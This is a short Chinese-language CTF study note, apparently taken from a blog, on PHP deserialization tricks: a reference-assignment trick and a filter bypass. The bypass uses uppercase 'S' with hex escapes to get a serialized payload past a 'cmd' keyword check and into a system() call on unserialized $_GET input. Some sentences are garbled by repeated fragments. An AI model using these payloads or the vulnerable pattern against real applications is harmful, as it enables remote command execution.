unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
class test{
public $a;
public $b;
public function __construct(){
$this->a = 'abc';
$this->b= &$this->a;
}
public function __destruct(){
if($this->a===$this->b){
echo 666;
}
}
}
$a = serialize(new test());
上面这个例子将 b 设 置 为 b设置为 b设置为a的引用,可以使 a 永 远 与 a永远与 a永远与b相等
将示意字符串的s
改为大写S
时,其值会解析 16 进制数据
例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}
example:
class Test{
public $cmd;
function __destruct(){
echo '
';
system($this->cmd);
}
}
function check($data){
if(stristr($data, 'cmd')!==False){
echo("想换我CMD,没这个可能!");
}
else{
return $data;
}
}
$test = $_GET['cmd'];
$test = check($test);
$test_n = unserialize($test);
?>
当传入O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
时,可以发现无法绕过过滤函数
修改为大写S
时,可以看到成功
[[CTF]PHP反序列化总结]: https://y4tacker.blog.csdn.net/article/details/113588692